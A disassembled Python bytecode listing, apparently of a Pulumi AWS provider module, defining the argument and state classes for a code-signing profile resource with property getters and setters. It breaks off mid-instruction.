LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST ('name', 'name_prefix', 'signature_validity_period', 'signing_material', 'tags') BUILD_CONST_KEY_MAP LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_CONST 'SigningProfileSignatureValidityPeriodArgs' BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_CONST 'SigningProfileSigningMaterialArgs' BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('platform_id', 'name', 'name_prefix', 'signature_validity_period', 'signing_material', 'tags') BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7fadb5811c00, file "f.py", line 15> LOAD_CONST 'SigningProfileArgs.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'platformId' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object platform_id at 0x7fab8239ab70, file "f.py", line 49> LOAD_CONST 'SigningProfileArgs.platform_id' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME platform_id LOAD_NAME platform_id LOAD_ATTR setter LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object platform_id at 0x7fab8239ac00, file "f.py", line 57> LOAD_CONST 'SigningProfileArgs.platform_id' MAKE_FUNCTION CALL_FUNCTION STORE_NAME platform_id LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object name at 0x7fab8239aae0, file "f.py", line 61> LOAD_CONST 'SigningProfileArgs.name' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME name LOAD_NAME name LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object name at 0x7fab8239a8a0, file "f.py", line 69> LOAD_CONST 'SigningProfileArgs.name' MAKE_FUNCTION CALL_FUNCTION STORE_NAME name LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'namePrefix' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object name_prefix at 0x7fab8239ae40, file "f.py", line 73> LOAD_CONST 'SigningProfileArgs.name_prefix' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME name_prefix LOAD_NAME name_prefix LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object name_prefix at 0x7fab70306930, file "f.py", line 81> LOAD_CONST 'SigningProfileArgs.name_prefix' MAKE_FUNCTION CALL_FUNCTION STORE_NAME name_prefix LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'signatureValidityPeriod' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_CONST 'SigningProfileSignatureValidityPeriodArgs' BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object signature_validity_period at 0x7fab70306c90, file "f.py", line 85> LOAD_CONST 'SigningProfileArgs.signature_validity_period' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME signature_validity_period LOAD_NAME signature_validity_period LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_CONST 'SigningProfileSignatureValidityPeriodArgs' BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object signature_validity_period at 0x7fab703068a0, file "f.py", line 95> LOAD_CONST 'SigningProfileArgs.signature_validity_period' MAKE_FUNCTION CALL_FUNCTION STORE_NAME signature_validity_period LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'signingMaterial' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_CONST 'SigningProfileSigningMaterialArgs' BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object signing_material at 0x7fab70306030, file "f.py", line 101> LOAD_CONST 'SigningProfileArgs.signing_material' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME signing_material LOAD_NAME signing_material LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_CONST 'SigningProfileSigningMaterialArgs' BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object signing_material at 0x7fab70306b70, file "f.py", line 108> LOAD_CONST 'SigningProfileArgs.signing_material' MAKE_FUNCTION CALL_FUNCTION STORE_NAME signing_material LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object tags at 0x7fab70306a50, file "f.py", line 114> LOAD_CONST 'SigningProfileArgs.tags' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME tags LOAD_NAME tags LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object tags at 0x7fab70306ed0, file "f.py", line 122> LOAD_CONST 'SigningProfileArgs.tags' MAKE_FUNCTION CALL_FUNCTION STORE_NAME tags LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'platform_id' LOAD_FAST platform_id CALL_METHOD POP_TOP LOAD_FAST name LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'name' LOAD_FAST name CALL_METHOD POP_TOP LOAD_FAST name_prefix LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'name_prefix' LOAD_FAST name_prefix CALL_METHOD POP_TOP LOAD_FAST signature_validity_period LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'signature_validity_period' LOAD_FAST signature_validity_period CALL_METHOD POP_TOP LOAD_FAST signing_material LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'signing_material' LOAD_FAST signing_material CALL_METHOD POP_TOP LOAD_FAST tags LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'tags' LOAD_FAST tags CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'platform_id' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'platform_id' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'name' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'name' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'name_prefix' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'name_prefix' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'signature_validity_period' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'signature_validity_period' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'signing_material' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'signing_material' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD get LOAD_FAST self LOAD_CONST 'tags' CALL_METHOD RETURN_VALUE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST self LOAD_CONST 'tags' LOAD_FAST value CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST '_SigningProfileState' STORE_NAME __qualname__ LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST None LOAD_CONST ('arn', 'name', 'name_prefix', 'platform_display_name', 'platform_id', 'revocation_records', 'signature_validity_period', 'signing_material', 'status', 'tags', 'tags_all', 'version', 'version_arn') BUILD_CONST_KEY_MAP LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Sequence LOAD_NAME pulumi LOAD_ATTR Input LOAD_CONST 'SigningProfileRevocationRecordArgs' BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_CONST 'SigningProfileSignatureValidityPeriodArgs' BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_CONST 'SigningProfileSigningMaterialArgs' BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('arn', 'name', 'name_prefix', 'platform_display_name', 'platform_id', 'revocation_records', 'signature_validity_period', 'signing_material', 'status', 'tags', 'tags_all', 'version', 'version_arn') BUILD_CONST_KEY_MAP LOAD_CONST <code object __init__ at 0x7fab70306390, file "f.py", line 129> LOAD_CONST '_SigningProfileState.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object arn at 0x7fab70306db0, file "f.py", line 197> LOAD_CONST '_SigningProfileState.arn' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME arn LOAD_NAME arn LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object arn at 0x7fab82258d20, file "f.py", line 205> LOAD_CONST '_SigningProfileState.arn' MAKE_FUNCTION CALL_FUNCTION STORE_NAME arn LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object name at 0x7fab82258b70, file "f.py", line 209> LOAD_CONST '_SigningProfileState.name' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME name LOAD_NAME name LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object name at 0x7fab82258c00, file "f.py", line 217> LOAD_CONST '_SigningProfileState.name' MAKE_FUNCTION CALL_FUNCTION STORE_NAME name LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'namePrefix' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object name_prefix at 0x7fab82258300, file "f.py", line 221> LOAD_CONST '_SigningProfileState.name_prefix' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME name_prefix LOAD_NAME name_prefix LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object name_prefix at 0x7fab82258150, file "f.py", line 229> LOAD_CONST '_SigningProfileState.name_prefix' MAKE_FUNCTION CALL_FUNCTION STORE_NAME name_prefix LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'platformDisplayName' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object platform_display_name at 0x7fab82258db0, file "f.py", line 233> LOAD_CONST '_SigningProfileState.platform_display_name' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME platform_display_name LOAD_NAME platform_display_name LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object platform_display_name at 0x7fab822586f0, file "f.py", line 241> LOAD_CONST '_SigningProfileState.platform_display_name' MAKE_FUNCTION CALL_FUNCTION STORE_NAME platform_display_name LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'platformId' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object platform_id at 0x7fab82258540, file "f.py", line 245> LOAD_CONST '_SigningProfileState.platform_id' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME platform_id LOAD_NAME platform_id LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object platform_id at 0x7fab82258030, file "f.py", line 253> LOAD_CONST '_SigningProfileState.platform_id' MAKE_FUNCTION CALL_FUNCTION STORE_NAME platform_id LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'revocationRecords' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Sequence LOAD_NAME pulumi LOAD_ATTR Input LOAD_CONST 'SigningProfileRevocationRecordArgs' BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object revocation_records at 0x7fab82258f60, file "f.py", line 257> LOAD_CONST '_SigningProfileState.revocation_records' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME revocation_records LOAD_NAME revocation_records LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Sequence LOAD_NAME pulumi LOAD_ATTR Input LOAD_CONST 'SigningProfileRevocationRecordArgs' BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object revocation_records at 0x7fab82258780, file "f.py", line 269> LOAD_CONST '_SigningProfileState.revocation_records' MAKE_FUNCTION CALL_FUNCTION STORE_NAME revocation_records LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'signatureValidityPeriod' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_CONST 'SigningProfileSignatureValidityPeriodArgs' BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object signature_validity_period at 0x7fab82258420, file "f.py", line 278> LOAD_CONST '_SigningProfileState.signature_validity_period' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME signature_validity_period LOAD_NAME signature_validity_period LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_CONST 'SigningProfileSignatureValidityPeriodArgs' BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object signature_validity_period at 0x7fab82258660, file "f.py", line 288> LOAD_CONST '_SigningProfileState.signature_validity_period' MAKE_FUNCTION CALL_FUNCTION STORE_NAME signature_validity_period LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'signingMaterial' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_CONST 'SigningProfileSigningMaterialArgs' BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object signing_material at 0x7fab82258270, file "f.py", line 294> LOAD_CONST '_SigningProfileState.signing_material' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME signing_material LOAD_NAME signing_material LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_CONST 'SigningProfileSigningMaterialArgs' BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object signing_material at 0x7fab82258390, file "f.py", line 301> LOAD_CONST '_SigningProfileState.signing_material' MAKE_FUNCTION CALL_FUNCTION STORE_NAME signing_material LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object status at 0x7fab822589c0, file "f.py", line 307> LOAD_CONST '_SigningProfileState.status' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME status LOAD_NAME status LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object status at 0x7fab822584b0, file "f.py", line 315> LOAD_CONST '_SigningProfileState.status' MAKE_FUNCTION CALL_FUNCTION STORE_NAME status LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object tags at 0x7fab822585d0, file "f.py", line 319> LOAD_CONST '_SigningProfileState.tags' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME tags LOAD_NAME tags LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object tags at 0x7fab82258810, file "f.py", line 327> LOAD_CONST '_SigningProfileState.tags' MAKE_FUNCTION CALL_FUNCTION STORE_NAME tags LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'tagsAll' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object tags_all at 0x7fab70276030, file "f.py", line 331> LOAD_CONST '_SigningProfileState.tags_all' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME tags_all LOAD_NAME tags_all LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME Mapping LOAD_NAME str LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BUILD_TUPLE BINARY_SUBSCR BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object tags_all at 0x7fab702760c0, file "f.py", line 342> LOAD_CONST '_SigningProfileState.tags_all' MAKE_FUNCTION CALL_FUNCTION STORE_NAME tags_all LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object version at 0x7fab70276150, file "f.py", line 346> LOAD_CONST '_SigningProfileState.version' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME version LOAD_NAME version LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object version at 0x7fab702761e0, file "f.py", line 354> LOAD_CONST '_SigningProfileState.version' MAKE_FUNCTION CALL_FUNCTION STORE_NAME version LOAD_NAME property LOAD_NAME pulumi LOAD_ATTR getter LOAD_CONST 'versionArn' LOAD_CONST ('name',) CALL_FUNCTION LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('return',) BUILD_CONST_KEY_MAP LOAD_CONST <code object version_arn at 0x7fab70276270, file "f.py", line 358> LOAD_CONST '_SigningProfileState.version_arn' MAKE_FUNCTION CALL_FUNCTION CALL_FUNCTION STORE_NAME version_arn LOAD_NAME version_arn LOAD_ATTR setter LOAD_NAME Optional LOAD_NAME pulumi LOAD_ATTR Input LOAD_NAME str BINARY_SUBSCR BINARY_SUBSCR LOAD_CONST ('value',) BUILD_CONST_KEY_MAP LOAD_CONST <code object version_arn at 0x7fab70276300, file "f.py", line 366> LOAD_CONST '_SigningProfileState.version_arn' MAKE_FUNCTION CALL_FUNCTION STORE_NAME version_arn LOAD_CONST None RETURN_VALUE LOAD_FAST arn LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'arn' LOAD_FAST arn CALL_METHOD POP_TOP LOAD_FAST name LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'name' LOAD_FAST name CALL_METHOD POP_TOP LOAD_FAST name_prefix LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'name_prefix' LOAD_FAST name_prefix CALL_METHOD POP_TOP LOAD_FAST platform_display_name LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'platform_display_name' LOAD_FAST platform_display_name CALL_METHOD POP_TOP LOAD_FAST platform_id LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'platform_id' LOAD_FAST platform_id CALL_METHOD POP_TOP LOAD_FAST revocation_records LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'revocation_records' LOAD_FAST revocation_records CALL_METHOD POP_TOP LOAD_FAST signature_validity_period LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'signature_validity_period' LOAD_FAST signature_validity_period CALL_METHOD POP_TOP LOAD_FAST signing_material LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'signing_material' LOAD_FAST signing_material CALL_METHOD POP_TOP LOAD_FAST status LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'status' LOAD_FAST status CALL_METHOD POP_TOP LOAD_FAST tags LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 'tags' LOAD_FAST tags CALL_METHOD POP_TOP LOAD_FAST tags_all LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL warnings LOAD_METHOD warn LOAD_CONST 'Please use `tags` instead.' LOAD_GLOBAL DeprecationWarning CALL_METHOD POP_TOP LOAD_GLOBAL pulumi LOAD_ATTR log LOAD_METHOD warn LOAD_CONST 'tags_all is deprecated: Please use `tags` instead.' CALL_METHOD POP_TOP LOAD_FAST tags_all LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL pulumi LOAD_METHOD set LOAD_FAST __self__ LOAD_CONST 